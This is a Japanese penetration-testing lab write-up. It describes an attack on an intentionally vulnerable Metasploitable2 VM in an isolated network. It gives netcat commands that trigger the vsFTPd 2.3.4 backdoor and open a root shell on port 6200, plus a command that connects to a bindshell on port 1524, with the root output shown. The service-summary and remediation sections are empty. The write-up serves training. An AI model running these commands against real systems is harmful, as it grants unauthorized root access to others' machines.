隔離ネットワークにおけるペネトレーションテストラボ

著者: Daniel Stefan de Jesus dos Reis 日付: 2026年9月 環境: 隔離された仮想ネットワーク pentestlab 上の個人用KVMラボ

スコープと認可に関する注意

このテストは、自身が所有する意図的に脆弱な仮想マシンに対してのみ実施された。これはRapid7がオフェンシブセキュリティトレーニングのために特別に配布したものであり、インターネットへの出口のない隔離された仮想ネットワーク内で行われた。第三者のシステムには一切アクセスしていない。本プロジェクトは純粋に教育目的であり、侵入テストスキルの開発を目的としている。

1. ラボのアーキテクチャ

• ハイパーバイザー: KVM/libvirt
• 仮想ネットワーク: pentestlab (ブリッジ virbr-lab)、サブネット 192.168.100.0/24、<forward> は未設定 — つまり、真に隔離されたネットワークである。VM同士およびホストとは通信できるが、ラボ外へのルートは存在しない。ネットワークのXMLは evidencias/pentestlab_network.xml にある。
• 攻撃側ホスト: ホストマシン自体で、インターフェース virbr-lab を使用し、nmap、nikto、gobuster、hydra、sqlmap、netcat を使用。
• ターゲット: VM metasploitable2 (Metasploitable2、Ubuntu 8.04を改変したもの)、IP 192.168.100.90/24、隔離ネットワーク自体のDHCP経由で割り当て。

[ Host / Atacante ]  
        |
   virbr-lab (rede isolada, sem saída para internet)
        |
[ metasploitable2 ] 

2. 手法

基本的な流れとして、偵察 → 列挙 → エクスプロイト → 文書化 を実施した:

1. ホスト探索およびサービス/バージョン検出を伴うTCP全ポートスキャン (nmap -sV -sC -p-)
2. Web脆弱性スキャン (nikto)
3. 特定されたバージョンに関連する既知の脆弱性 (CVE) の優先順位付け
4. 手動エクスプロイト。以下のすべてのステップは nc で実行し、各脆弱性の仕組みを理解することを目的とした。「エクスプロイトを実行する」だけではない。
5. 証拠と修正推奨事項の文書化

3. 偵察 — 完全スキャン

コマンド: nmap -sV -sC -p- -T4 192.168.100.90 完全な出力: evidencias/nmap_full_scan.txt

検出された主要なサービスの概要:

4. エクスプロイトされた脆弱性 (確認済み)

4.1 vsFTPd 2.3.4 のバックドア — CVE-2011-2523 (重大)

2011年6月30日から2011年7月3日の間に、ダウンロード用に公開されていたvsFTPd 2.3.4のソースコードが攻撃者によって改ざんされた。侵害されたバージョンにはバックドアが含まれている。FTPログインのユーザー名フィールドで :) で終わる文字列を受け取ると、サーバーは認証なしでTCPポート6200にrootシェルを開く。

実行したステップ (完全なログは evidencias/vsftpd_backdoor_exploit.txt):

# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21

# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200

結果:

uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

認証なしで完全なrootアクセスを取得。

4.2 ポート1524/tcpに露出したBindshell (重大)

nmapはこのサービスを既に Metasploitable root shell として識別している — イメージに意図的に残されたバックドアである (トレーニング用イメージによくある、以前のエクスプロイトの名残)。エクスプロイトは不要で、接続するだけでよい。

( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524

結果: uid=0(root) gid=0(root) groups=0(root) — 即座にroot。

完全なログは evidencias/bindshell_1524.txt にある。

5. 特定された脆弱性 (今回のラウンドではエクスプロイト未実施)

5.1 UnrealIRCd 3.2.8.1 — CVE-2010-2075 (重大、バージョンにより特定)

ポート6667/6697で動作しているUnrealIRCdのバージョンは、歴史的にバックドア付きで配布されたビルドに該当する (AB; コマンドに続くシェルコマンド)。nc 経由で手動でバックドアを起動しようと試みたが、サーバーは入力をシェルコマンドとして実行せず、無効なIRCコマンド (451 :You have not registered) として処理した — この特定のイメージにトロイの木馬化されたバイナリが含まれていないか、ペイロードに今回優先しなかった微調整が必要かのいずれかである。これは成功しなかった試みとして記録し、確認された脆弱性としては扱わない。

5.2 distccd 3632/tcp — CVE-2004-2687 (高)

接続してくる任意のクライアントから、認証なしで任意のコマンドを受け付ける分散コンパイルサービス。バージョンにより特定したが、今回のラウンドではエクスプロイト未実施。

5.3 Java RMI Registry — ポート1099/tcp (高)

歴史的にデシリアライゼーションを介したリモートコード実行に対して脆弱。バージョンにより特定したが、今回のラウンドではエクスプロイト未実施。

6. Web列挙 (nikto)

コマンド: nikto -h 192.168.100.90 -p 80 完全な出力: evidencias/nikto_scan.txt

主な検出事項:

• Apache 2.2.8 が古い (当時の最新系列は 2.2.22+)
• HTTPメソッド TRACE が有効 (XSTの可能性)
• /phpinfo.php が公開されている (PHP設定が露呈)
• /phpMyAdmin/ がIP制限なしでアクセス可能
• /doc/、/test/、/icons/ でディレクトリリスティングが有効
• phpMyAdminのCookieが httponly フラグなしで作成されている

7. 修正推奨事項

8. このラボが実践的に示したこと

• nmapによるネットワーク偵察と列挙 (完全スキャン、サービス/バージョン検出、NSEスクリプト)
• 実際のバックドア (vsFTPd) の仕組みの理解と、自動化フレームワークに依存しないnetcat経由の手動エクスプロイト
• niktoによるWeb脆弱性分析
• レポート形式での侵入テストの文書化: スコープ、手法、重大度別に優先順位付けされた検出事項、修正推奨事項
• 隔離された安全なラボ環境の維持 (インターネットへの出口のない仮想ネットワーク)

9. 次のステップ

• この検出事項を確定させるため、トロイの木馬化が確認されたイメージバージョンでUnrealIRCdのエクスプロイトを再実行する
• ホストから直接攻撃するのではなく、専用の2台目の攻撃マシン (例: Kali Linux) を pentestlab ネットワークに追加する
• このラボをActive Directoryシナリオへ拡張する (別途計画中のプロジェクト)